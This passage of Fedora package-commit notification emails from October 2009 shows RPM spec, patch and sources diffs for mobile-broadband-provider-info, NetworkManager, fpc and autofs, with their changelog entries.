 broadband (3G) providers and associated network and plan information.
 
+%package devel
+Summary: Development files for %{name}
+Group: Development/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description devel
+The %{name}-devel package contains files necessary for
+developing developing applications that use %{name}.
+
 %prep
 %setup -q -n %{name}-%{upstream_version}
 
@@ -37,8 +46,6 @@ make check
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 
-rm -f $RPM_BUILD_ROOT%{_datadir}/pkgconfig/%{name}.pc
-
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -46,8 +53,26 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(0644, root, root, 0755)
 %doc COPYING README
 %attr(0644,root,root) %{_datadir}/%{name}/*
+	
+%files devel
+%defattr(0644, root, root, 0755)
+%{_datadir}/pkgconfig/%{name}.pc
 
 %changelog
+* Fri Sep 18 2009 Dan Williams <dcbw at redhat.com> - 1.20090918-1
+- Update to latest upstream release including:
+- Algeria, Australia, Belarus, Belgium, Brazil
+- Brunei, Bulgaria, Egypt, Finland, Ghana, Greece
+- India, Italy, Kazakhstan, Korean CDMA operators
+- Kuwait, Mali, Netherlands, Paraguay, Serbia
+- Spain, Sweden, UK
+
+* Tue Aug 11 2009 Bastien Nocera <bnocera at redhat.com> 1.20090707-3
+- Add -devel sub-package with pkg-config file (#511318)
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.20090707-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Jul 7 2009 Dan Williams <dcbw at redhat.com> - 1.20090707-1
 - Update to latest upstream release including:
 - T-Mobile USA


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mobile-broadband-provider-info/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	8 Jul 2009 17:51:15 -0000	1.3
+++ sources	16 Oct 2009 05:51:35 -0000	1.4
@@ -1 +1 @@
-1d03283f6bb93d21985fce7bcdad548b  mobile-broadband-provider-info-20090707.tar.bz2
+fa6057ceed445042b8a7ba22a1927ac8  mobile-broadband-provider-info-20090918.tar.bz2



From dcbw at fedoraproject.org  Fri Oct 16 05:54:24 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Fri, 16 Oct 2009 05:54:24 +0000 (UTC)
Subject: rpms/mobile-broadband-provider-info/F-10
	mobile-broadband-provider-info.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091016055424.18F7511C00E5@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/mobile-broadband-provider-info/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32553

Modified Files:
	sources 
Added Files:
	mobile-broadband-provider-info.spec 
Log Message:
Update to a recent release



--- NEW FILE mobile-broadband-provider-info.spec ---
%define upstream_version 20090918

Summary: Mobile broadband provider database
Name: mobile-broadband-provider-info
Version: 1.%{upstream_version}
Release: 1%{?dist}
#
# Source from git://git.gnome.org/mobile-broadband-provider-info
# tarball built with:
#    ./autogen.sh --prefix=/usr
#    make distcheck
#
Source: mobile-broadband-provider-info-%{upstream_version}.tar.bz2
License: Public Domain
Group: System Environment/Base

BuildArch: noarch
URL: http://live.gnome.org/NetworkManager/MobileBroadband/ServiceProviders
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires: libxml2

%description
The mobile-broadband-provider-info package contains listings of mobile
broadband (3G) providers and associated network and plan information.

%package devel
Summary: Development files for %{name}
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}

%description devel
The %{name}-devel package contains files necessary for
developing developing applications that use %{name}.

%prep
%setup -q -n %{name}-%{upstream_version}

%build
%configure
make %{?_smp_mflags}

%check
make check

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(0644, root, root, 0755)
%doc COPYING README
%attr(0644,root,root) %{_datadir}/%{name}/*
	
%files devel
%defattr(0644, root, root, 0755)
%{_datadir}/pkgconfig/%{name}.pc

%changelog
* Fri Sep 18 2009 Dan Williams <dcbw at redhat.com> - 1.20090918-1
- Update to latest upstream release including:
- Algeria, Australia, Belarus, Belgium, Brazil
- Brunei, Bulgaria, Egypt, Finland, Ghana, Greece
- India, Italy, Kazakhstan, Korean CDMA operators
- Kuwait, Mali, Netherlands, Paraguay, Serbia
- Spain, Sweden, UK

* Tue Aug 11 2009 Bastien Nocera <bnocera at redhat.com> 1.20090707-3
- Add -devel sub-package with pkg-config file (#511318)

* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.20090707-2
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Tue Jul 7 2009 Dan Williams <dcbw at redhat.com> - 1.20090707-1
- Update to latest upstream release including:
- T-Mobile USA
- Brazil
- Bangladesh
- Sweden
- Spain
- Moldova

* Tue Jun 3 2009 Dan Williams <dcbw at redhat.com> 0.20090602-2
- Package review fixes

* Tue Jun 2 2009 Dan Williams <dcbw at redhat.com> 0.20090602-1
- Initial version



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mobile-broadband-provider-info/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	5 Jun 2009 21:37:23 -0000	1.1
+++ sources	16 Oct 2009 05:54:23 -0000	1.2
@@ -0,0 +1 @@
+fa6057ceed445042b8a7ba22a1927ac8  mobile-broadband-provider-info-20090918.tar.bz2



From dcbw at fedoraproject.org  Fri Oct 16 06:04:01 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Fri, 16 Oct 2009 06:04:01 +0000 (UTC)
Subject: rpms/NetworkManager/F-10 NetworkManager.spec, 1.267,
	1.268 nm-applet-internal-buildfixes.patch, 1.7, 1.8 sources,
	1.139, 1.140
Message-ID: <20091016060401.8603811C00E5@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2188

Modified Files:
	NetworkManager.spec nm-applet-internal-buildfixes.patch 
	sources 
Log Message:
Update to NM 0.7.2-rc3



Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/NetworkManager.spec,v
retrieving revision 1.267
retrieving revision 1.268
diff -u -p -r1.267 -r1.268
--- NetworkManager.spec	15 Apr 2009 00:44:19 -0000	1.267
+++ NetworkManager.spec	16 Oct 2009 06:04:00 -0000	1.268
@@ -1,7 +1,5 @@
 %define udev_scriptdir /lib/udev
 
-ExcludeArch: s390 s390x
-
 %define dbus_version 1.1
 %define dbus_glib_version 0.73-6
 %define hal_version 0.5.0
@@ -17,7 +15,7 @@ ExcludeArch: s390 s390x
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
-Version: 0.7.1
+Version: 0.7.1.997
 Release: 1%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
@@ -44,6 +42,7 @@ Requires: ppp >= %{ppp_version}
 Requires: avahi-autoipd
 Requires: dnsmasq
 Requires: udev
+Requires: mobile-broadband-provider-info >= 0.20090602
 Obsoletes: dhcdbd
 
 Conflicts: NetworkManager-vpnc < 1:0.7.0.99-1
@@ -145,6 +144,7 @@ NetworkManager functionality from applic
 
 # unpack the applet
 tar -xjf %{SOURCE1}
+
 %patch1 -p1 -b .buildfix
 %patch2 -p1 -b .explain-dns1-dns2
 %patch10 -p1 -b .ignore-onboot-for-minimal
@@ -164,14 +164,14 @@ autoreconf -i
 	--enable-more-warnings=yes \
 	--with-docs=yes \
 	--with-system-ca-path=/etc/pki/tls/certs
-make
+make %{?_smp_mflags}
 
 # build the applet
 pushd network-manager-applet-%{version}
 	autoreconf -i
 	intltoolize --force
 	%configure --disable-static --enable-more-warnings=yes
-	make
+	make %{?_smp_mflags}
 popd
 
 %install
@@ -235,11 +235,31 @@ exit 0
 %post   glib -p /sbin/ldconfig
 %postun glib -p /sbin/ldconfig
 
+%pre gnome
+if [ "$1" -gt 1 ]; then
+  export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
+fi
+
+%preun gnome
+if [ "$1" -eq 0 ]; then
+  export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
+fi
+
 %post gnome
 touch --no-create %{_datadir}/icons/hicolor
 if [ -x /usr/bin/gtk-update-icon-cache ]; then
   gtk-update-icon-cache -q %{_datadir}/icons/hicolor
 fi
+export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
+if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+  gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+fi
 
 %postun gnome
 touch --no-create %{_datadir}/icons/hicolor
@@ -281,7 +301,7 @@ fi
 %{_libdir}/pppd/2.4.4/nm-pppd-plugin.so
 %{_datadir}/PolicyKit/policy/*.policy
 %{udev_scriptdir}/nm-modem-probe
-%{udev_scriptdir}/rules.d/77-nm-probe-modem-capabilities.rules
+%{udev_scriptdir}/rules.d/*.rules
 
 %files devel
 %defattr(-,root,root,0755)
@@ -304,6 +324,7 @@ fi
 %{_datadir}/icons/hicolor/scalable/apps/*.svg
 %{_sysconfdir}/xdg/autostart/nm-applet.desktop
 %dir %{_datadir}/gnome-vpn-properties
+%{_sysconfdir}/gconf/schemas/nm-applet.schemas
 
 %files glib
 %defattr(-,root,root,0755)
@@ -328,6 +349,63 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.997-1
+- nm: add support for PEAP-GTC (rh #451027)
+- nm: ensure VPN secrets aren't re-used when they shouldn't be
+- nm: fix race causing erroneous ethernet carrier change events
+- nm: fixes for ZTE, Onda, and Sierra modem detection and operation
+- nm: enhanced support for Ericsson 'mbm' modems
+- nm: enhanced support for AT&T Quicksilver and Option iCON 505
+- nm: work around PPP bug returning bogus nameservers
+- editor: fix editing system-wide VPN connections
+- applet: PEAP, TTLS, and wired 802.1x fixes
+- applet: install GConf schemas
+- applet: fix default focus for passphrase dialogs
+- applet: translation updates
+
+* Thu Jul  9 2009 Dan Williams <dcbw at redhat.com> - 0.7.1-8.git20090708
+- applet: fix crash on error claiming D-Bus service (rh #519408)
+
+* Thu Jul  9 2009 Dan Williams <dcbw at redhat.com> - 0.7.1-8.git20090708
+- applet: fix certificate validation in hidden wifi networks dialog (rh #508207)
+
+* Wed Jul  8 2009 Dan Williams <dcbw at redhat.com> - 0.7.1-7.git20090708
+- nm: fixes for ZTE/Onda modem detection
+- nm: prevent re-opening serial port when the SIM has a PIN
+- applet: updated translations
+- editor: show list column headers
+
+* Thu Jun 25 2009 Dan Williams <dcbw at redhat.com> - 0.7.1-6.git20090617
+- nm: fix serial port settings
+
+* Wed Jun 17 2009 Dan Williams <dcbw at redhat.com> - 0.7.1-5.git20090617
+- nm: fix AT&T Quicksilver modem connections (rh #502002)
+- nm: fix support for s390 bus types (rh #496820)
+- nm: fix detection of some CMOtech modems
+- nm: handle unsolicited wifi scans better
+- nm: resolv.conf fixes when using DHCP and overriding search domains
+- nm: handle WEP and WPA passphrases (rh #441070)
+- nm: fix removal of old APs when none are scanned
+- nm: fix Huawei EC121 and EC168C detection and handling (rh #496426)
+- applet: save WEP and WPA passphrases instead of hashed keys (rh #441070)
+- applet: fix broken notification bubble actions
+- applet: default to WEP encryption for Ad-Hoc network creation
+- applet: fix crash when connection editor dialogs are canceled
+- applet: add a mobile broadband provider wizard
+
+* Tue May 19 2009 Karsten Hopp <karsten at redhat.com> 0.7.1-4.git20090414.1
+- drop ExcludeArch s390 s390x, we need at least the header files
+
+* Tue May 05 2009 Adam Jackson <ajax at redhat.com> 1:0.7.1-4.git20090414
+- nm-save-the-leases.patch: Use per-connection lease files, and don't delete
+  them on interface deactivate.
+
+* Thu Apr 16 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.1-3.git20090414
+- ifcfg-rh: fix problems noticing changes via inotify (rh #495884)
+
+* Tue Apr 14 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.1-2.git20090414
+- ifcfg-rh: enable write support for wired and wifi connections
+
 * Sun Apr 12 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.1-1
 - nm: update to 0.7.1
 - nm: fix startup race with HAL causing unmanaged devices to sometimes be managed (rh #494527)

nm-applet-internal-buildfixes.patch:
 configure.ac                      |    4 ----
 src/Makefile.am                   |    8 +++++++-
 src/connection-editor/Makefile.am |    9 ++++++++-
 src/gconf-helpers/Makefile.am     |    8 +++++++-
 src/utils/Makefile.am             |    9 ++++++++-
 src/wireless-security/Makefile.am |    8 +++++++-
 6 files changed, 37 insertions(+), 9 deletions(-)

Index: nm-applet-internal-buildfixes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/nm-applet-internal-buildfixes.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- nm-applet-internal-buildfixes.patch	15 Apr 2009 00:44:19 -0000	1.7
+++ nm-applet-internal-buildfixes.patch	16 Oct 2009 06:04:01 -0000	1.8
@@ -1,22 +1,21 @@
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac	2009-04-05 08:31:12.000000000 -0400
 @@ -68,10 +68,6 @@ PKG_CHECK_MODULES(GOBJECT, gobject-2.0)
  PKG_CHECK_MODULES(NMA,
- 		[dbus-glib-1 >= 0.72
+ 		[dbus-glib-1 >= 0.74
  		 glib-2.0 >= 2.10
--		 NetworkManager >= 0.7.0
--		 libnm_glib >= 0.7.0
--		 libnm-util >= 0.7.0
--		 libnm_glib_vpn >= 0.7.0
- 		 gtk+-2.0 >= 2.10
+-		 NetworkManager >= 0.7.1.997
+-		 libnm_glib >= 0.7.1.997
+-		 libnm-util >= 0.7.1.997
+-		 libnm_glib_vpn >= 0.7.1.997
+ 		 gtk+-2.0 >= 2.14
  		 libglade-2.0
  		 gmodule-export-2.0
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
-@@ -2,6 +2,10 @@ NULL=
- 
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+@@ -1,5 +1,9 @@
  bin_PROGRAMS = nm-connection-editor
  
 +INCLUDES = -I${top_srcdir}/../include \
@@ -38,9 +37,9 @@ diff -up NetworkManager-0.7.1/network-ma
  
  if NO_POLKIT_GNOME
  nm_connection_editor_LDADD += \
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -58,9 +57,9 @@ diff -up NetworkManager-0.7.1/network-ma
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
  
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -4,6 +4,10 @@ NULL=
  
  bin_PROGRAMS = nm-applet
@@ -83,9 +82,9 @@ diff -up NetworkManager-0.7.1/network-ma
  
  gladedir = $(datadir)/nm-applet
  glade_DATA = applet.glade keyring.png
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -103,9 +102,9 @@ diff -up NetworkManager-0.7.1/network-ma
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
 +
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  noinst_LTLIBRARIES = libwireless-security.la
  


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/sources,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- sources	15 Apr 2009 00:44:19 -0000	1.139
+++ sources	16 Oct 2009 06:04:01 -0000	1.140
@@ -1,2 +1,2 @@
-954742cfd47191204d62d8d57f2bc6dd  NetworkManager-0.7.1.tar.bz2
-d90a997e3e2051ce8866fe24f765141f  network-manager-applet-0.7.1.tar.bz2
+12f12b2586043c21c3508b05e7994ba2  NetworkManager-0.7.1.997.tar.bz2
+3183f5ae3553da0ce9c381dadbcc19e0  network-manager-applet-0.7.1.997.tar.bz2



From dcbw at fedoraproject.org  Fri Oct 16 06:16:58 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Fri, 16 Oct 2009 06:16:58 +0000 (UTC)
Subject: rpms/NetworkManager/F-10 revert-onboot-no-for-minimal.patch, 1.1,
	1.2
Message-ID: <20091016061658.749E611C00E5@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5593

Modified Files:
	revert-onboot-no-for-minimal.patch 
Log Message:
fix patch for newer NM snapshot

revert-onboot-no-for-minimal.patch:
 reader.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

Index: revert-onboot-no-for-minimal.patch
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/revert-onboot-no-for-minimal.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- revert-onboot-no-for-minimal.patch	24 Mar 2009 13:54:12 -0000	1.1
+++ revert-onboot-no-for-minimal.patch	16 Oct 2009 06:16:57 -0000	1.2
@@ -2,7 +2,7 @@ diff -up NetworkManager-0.7.0.99/system-
 --- NetworkManager-0.7.0.99/system-settings/plugins/ifcfg-rh/reader.c.foo	2009-03-18 13:43:30.000000000 -0400
 +++ NetworkManager-0.7.0.99/system-settings/plugins/ifcfg-rh/reader.c	2009-03-18 13:49:34.000000000 -0400
 @@ -197,7 +197,7 @@ get_one_ip4_addr (shvarFile *ifcfg,
- 		
+ }
  
  static NMSetting *
 -make_ip4_setting (shvarFile *ifcfg, const char *network_file, GError **error)



From dcbw at fedoraproject.org  Fri Oct 16 06:31:18 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Fri, 16 Oct 2009 06:31:18 +0000 (UTC)
Subject: rpms/NetworkManager/F-10 revert-onboot-no-for-minimal.patch, 1.2,
	1.3
Message-ID: <20091016063118.A4ECE11C00E5@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10666

Modified Files:
	revert-onboot-no-for-minimal.patch 
Log Message:
Fix the patch to actually build


revert-onboot-no-for-minimal.patch:
 reader.c |   17 ++++++++++++++---
 1 file changed, 14 insertions(+), 3 deletions(-)

Index: revert-onboot-no-for-minimal.patch
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-10/revert-onboot-no-for-minimal.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- revert-onboot-no-for-minimal.patch	16 Oct 2009 06:16:57 -0000	1.2
+++ revert-onboot-no-for-minimal.patch	16 Oct 2009 06:31:18 -0000	1.3
@@ -25,11 +25,12 @@ diff -up NetworkManager-0.7.0.99/system-
  		g_free (tmp_ip4);
  		g_free (tmp_prefix);
  		g_free (tmp_netmask);
-@@ -1247,6 +1252,7 @@ connection_from_file (const char *filena
+@@ -1247,6 +1252,8 @@ connection_from_file (const char *filena
  	char *nmc = NULL;
  	NMSetting *s_ip4;
  	char *ifcfg_name = NULL;
 +	gboolean minimal = FALSE;
++	NMSettingConnection *s_con;
  
  	g_return_val_if_fail (filename != NULL, NULL);
  	g_return_val_if_fail (ignored != NULL, NULL);



From joost at fedoraproject.org  Fri Oct 16 06:44:55 2009
From: joost at fedoraproject.org (Joost van der Sluis)
Date: Fri, 16 Oct 2009 06:44:55 +0000 (UTC)
Subject: rpms/fpc/F-12 fpc-2.2.4-r12475.patch,1.1,1.2 fpc.spec,1.37,1.38
Message-ID: <20091016064455.6E21011C00E5@cvs1.fedora.phx.redhat.com>

Author: joost

Update of /cvs/pkgs/rpms/fpc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15501

Modified Files:
	fpc-2.2.4-r12475.patch fpc.spec 
Log Message:
* Fri Oct 16 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4.2
- Fixed compilation on ppc


fpc-2.2.4-r12475.patch:
 cpupara.pas |   25 +++++++++++++++++++++++--
 1 file changed, 23 insertions(+), 2 deletions(-)

Index: fpc-2.2.4-r12475.patch
===================================================================
RCS file: /cvs/pkgs/rpms/fpc/F-12/fpc-2.2.4-r12475.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fpc-2.2.4-r12475.patch	8 Oct 2009 13:06:19 -0000	1.1
+++ fpc-2.2.4-r12475.patch	16 Oct 2009 06:44:54 -0000	1.2
@@ -9,7 +9,7 @@ Index: fpcsrc/compiler/powerpc/cpupara.p
 -            procvardef,
 +            procvardef:
 +              if (target_info.abi = abi_powerpc_aix) or
-+                 (p.size = sizeof(pint)) then
++                 (p.size = sizeof(aint)) then
 +                result:=LOC_REGISTER
 +              else
 +                result:=LOC_REFERENCE;
@@ -37,7 +37,7 @@ Index: fpcsrc/compiler/powerpc/cpupara.p
            procvardef :
 +            result:=
 +              (target_info.abi <> abi_powerpc_aix) and
-+              (def.size <> sizeof(pint));
++              (def.size <> sizeof(aint));
 +          recorddef :
              result :=
                (target_info.abi<>abi_powerpc_aix) or


Index: fpc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fpc/F-12/fpc.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- fpc.spec	8 Oct 2009 13:54:24 -0000	1.37
+++ fpc.spec	16 Oct 2009 06:44:55 -0000	1.38
@@ -1,6 +1,6 @@
 Name:           fpc
 Version:        2.2.4
-Release:        4%{?dist}.1
+Release:        4%{?dist}.2
 Summary:        Free Pascal Compiler
 
 Group:          Development/Languages
@@ -178,6 +178,9 @@ rm -rf %{buildroot}
 %{_datadir}/fpcsrc
 
 %changelog
+* Fri Oct 16 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4.2
+- Fixed compilation on ppc
+
 * Tue Oct 8 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4.1
 - Restored accidentally removed ppc64 compiler name
 



From iankent at fedoraproject.org  Fri Oct 16 06:46:42 2009
From: iankent at fedoraproject.org (Ian Kent)
Date: Fri, 16 Oct 2009 06:46:42 +0000 (UTC)
Subject: rpms/autofs/F-11
	autofs-5.0.5-fix-stale-init-for-file-map-instance.patch, NONE,
	1.1 autofs.spec, 1.290, 1.291
Message-ID: <20091016064642.7A47E11C00E5@cvs1.fedora.phx.redhat.com>

Author: iankent

Update of /cvs/pkgs/rpms/autofs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15885

Modified Files:
	autofs.spec 
Added Files:
	autofs-5.0.5-fix-stale-init-for-file-map-instance.patch 
Log Message:
* Fri Oct 16 2009 Ian Kent <ikent at redhat.com> - 1:5.0.4-42
- fix stale initialization for file map instance (bz510025).


autofs-5.0.5-fix-stale-init-for-file-map-instance.patch:
 lookup.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE autofs-5.0.5-fix-stale-init-for-file-map-instance.patch ---
autofs-5.0.5 - fix stale initialization for file map instance

From: Ian Kent <raven at themaw.net>

Somehow, during the changes to minimize reading of file maps, an error
of not initializing a field of the map source instance structure got
through undetected. This has the effect of preventing all file map
lookups, following the first one, to fail.
---

 daemon/lookup.c |    1 +
 1 file changed, 1 insertion(+)


--- autofs-5.0.4.orig/daemon/lookup.c
+++ autofs-5.0.4/daemon/lookup.c
@@ -398,6 +398,7 @@ static enum nsswitch_status read_map_sou
 	tmap.instance = map->instance;
 	tmap.recurse = map->recurse;
 	tmap.depth = map->depth;
+	tmap.stale = map->stale;
 	tmap.argc = 0;
 	tmap.argv = NULL;
 


Index: autofs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/autofs/F-11/autofs.spec,v
